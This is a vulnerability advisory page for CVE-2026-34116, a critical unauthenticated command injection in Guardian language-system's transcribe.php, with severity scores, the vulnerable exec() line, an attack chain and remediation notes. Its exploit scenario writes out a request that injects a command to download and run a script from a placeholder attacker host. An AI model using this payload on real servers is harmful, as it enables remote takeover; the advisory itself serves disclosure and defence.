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Guardian Language-System CVE-2026-34116

| EUVDEUVD-2026-41075 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 disclosure@vulncheck.com GHSA-7899-78h3-4ggh
Command Injection PHP
9.3
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Single unauthenticated GET request reaches a shell sink (AV:N/AC:L/PR:N/UI:N) yielding full command execution, so C/I/A all High; scope unchanged as impact stays within the host.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 17:33 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in transcribe.php (line 15) without sanitization: exec(\"php jobs/transcribe.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in Guardian language-system's transcribe.php lets an unauthenticated remote attacker inject arbitrary shell commands through the 'id' GET parameter, which is concatenated directly into a PHP exec() call. Because no authentication or user interaction is required and the flaw yields full command execution, it maps to a CVSS 4.0 score of 9.3 with high confidentiality, integrity, and availability impact. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Locate exposed transcribe.php endpoint
Delivery
Send GET id with shell metacharacters
Exploit
Break out of php exec() call
Execution
Execute arbitrary OS commands
Impact
Establish foothold on server
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Vulnerability AssessmentAI

Exploitation No special conditions - remote unauthenticated exploitation against default configurations of Guardian language-system. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to a genuine high priority rather than a paper-tiger high-CVSS finding. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-exposed Guardian language-system instance and sends a single crafted GET request such as GET /transcribe.php?id=1;curl%20http://attacker/x.sh|sh. The injected shell metacharacters break out of the intended php command and run attacker commands as the web-server user, yielding immediate remote code execution with no credentials or user interaction. …
Remediation No vendor-released patch identified at time of analysis, and no fix version is present in the provided data. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Inventory all Guardian language-system deployments and confirm whether transcribe.php is network-accessible. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-34116 vulnerability details – vuln.today
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